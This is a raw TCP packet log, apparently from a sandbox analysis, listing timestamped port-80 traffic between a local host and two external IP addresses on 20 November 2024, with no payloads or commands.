Nov 20, 2024 07:48:23.598588943 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598603964 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598632097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.598635912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.598687887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.643760920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.643924952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.687041998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.692061901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.909709930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.909768105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.909784079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.909804106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.909817934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.909837008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.909848928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.909872055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.909882069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.909915924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.909924030 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.909965992 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.909976006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910010099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910020113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910043955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910051107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910078049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910085917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910120964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910123110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910164118 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910176039 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910209894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910218954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910243988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910254955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910284042 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910301924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910342932 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910355091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910398960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910407066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910442114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910449028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910481930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910492897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910536051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910545111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910583019 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910584927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910624027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910636902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910679102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910687923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910722017 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910732031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910756111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910759926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910784960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910797119 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910825968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910836935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910871029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910880089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910904884 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910913944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910938978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910948992 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.910972118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.910979986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911005974 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911015034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911040068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911055088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911073923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911084890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911109924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911117077 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911144972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911154032 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911178112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911189079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911212921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911221027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911246061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911256075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911281109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911288977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911323071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911334038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911367893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911381006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911402941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911413908 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911437988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911453009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911470890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911485910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911505938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911509991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911534071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911550999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911566019 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911570072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911602020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911612034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911638975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911645889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911673069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911684990 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911705971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911720037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911739111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911758900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911772966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911781073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911807060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911814928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911839962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911849022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911874056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911885023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911906004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911914110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911938906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911947012 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.911972046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.911979914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912010908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912019014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912043095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912051916 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912079096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912085056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912111044 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912121058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912144899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912149906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912175894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912184954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912210941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912223101 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912245989 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912247896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912281036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912287951 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912316084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.912319899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.912358999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:24.399255037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:24.399324894 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:24.404143095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:24.404236078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:24.817785025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:24.818903923 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:24.902810097 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:24.907869101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.128777981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.128813982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.128828049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.128941059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.134141922 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.139055967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.358809948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.359684944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.801522017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.801640034 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806642056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806724072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806726933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806757927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806785107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806804895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806813002 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806828976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806852102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806864977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806883097 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806891918 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806912899 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806919098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806940079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.806956053 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806983948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.806984901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.807024002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.807043076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.811439037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.811472893 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.811501026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.811527967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.811534882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.811558008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.811561108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.811604977 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.811618090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.811836004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.811913967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.811969995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.812057018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.812089920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.812158108 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.812177896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.812191010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.812211037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.812248945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.812268019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.812309980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.813633919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.816113949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.816181898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.816391945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.816517115 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.816560984 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:25.816776037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.816788912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.816819906 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.816834927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.816996098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817137003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817161083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817213058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817225933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817306042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817318916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817332029 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817346096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817393064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817404985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817428112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817440033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817452908 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817476988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817488909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817500114 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817512035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817527056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817539930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817562103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817573071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817584991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.817596912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.818466902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.820945024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.820957899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.820991993 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.821037054 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.821563005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.821645975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.821657896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:25.821670055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:26.326361895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:26.326432943 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:26.363424063 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:26.368840933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:26.604315996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:26.604516029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:26.630686045 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:26.635715008 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:26.635822058 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:26.636117935 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:26.641028881 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338543892 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338604927 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338615894 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338627100 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338639975 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338654041 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338665962 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338676929 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338689089 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338701963 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.338737965 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.338798046 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.343754053 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.343775988 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.343794107 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.343871117 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.467132092 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467164040 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467176914 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467189074 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467206001 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467358112 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.467439890 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.467473984 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467597008 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467667103 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.467693090 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467705965 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467717886 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467730999 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.467749119 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.467781067 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.468513012 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.468528986 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.468543053 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.468604088 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.468616009 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.468738079 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.469367027 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.469388008 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.469400883 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.469475031 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.469507933 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.469520092 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.469562054 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.470222950 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.470305920 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.470350981 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.470403910 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.472376108 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.473145962 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.595680952 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595706940 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595724106 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595743895 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595767975 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595782995 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595798016 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595813036 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595828056 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595845938 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595875025 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595897913 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595911980 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.595935106 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596057892 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596101999 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596154928 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596157074 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596205950 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596286058 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596302032 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596317053 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596327066 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596333027 CET	80	49761	176.113.115.215	192.168.2.4
Nov 20, 2024 07:48:27.596353054 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596395016 CET	49761	80	192.168.2.4	176.113.115.215
Nov 20, 2024 07:48:27.596744061 CET	80	49761	176.113.115.215	192.168.2.4
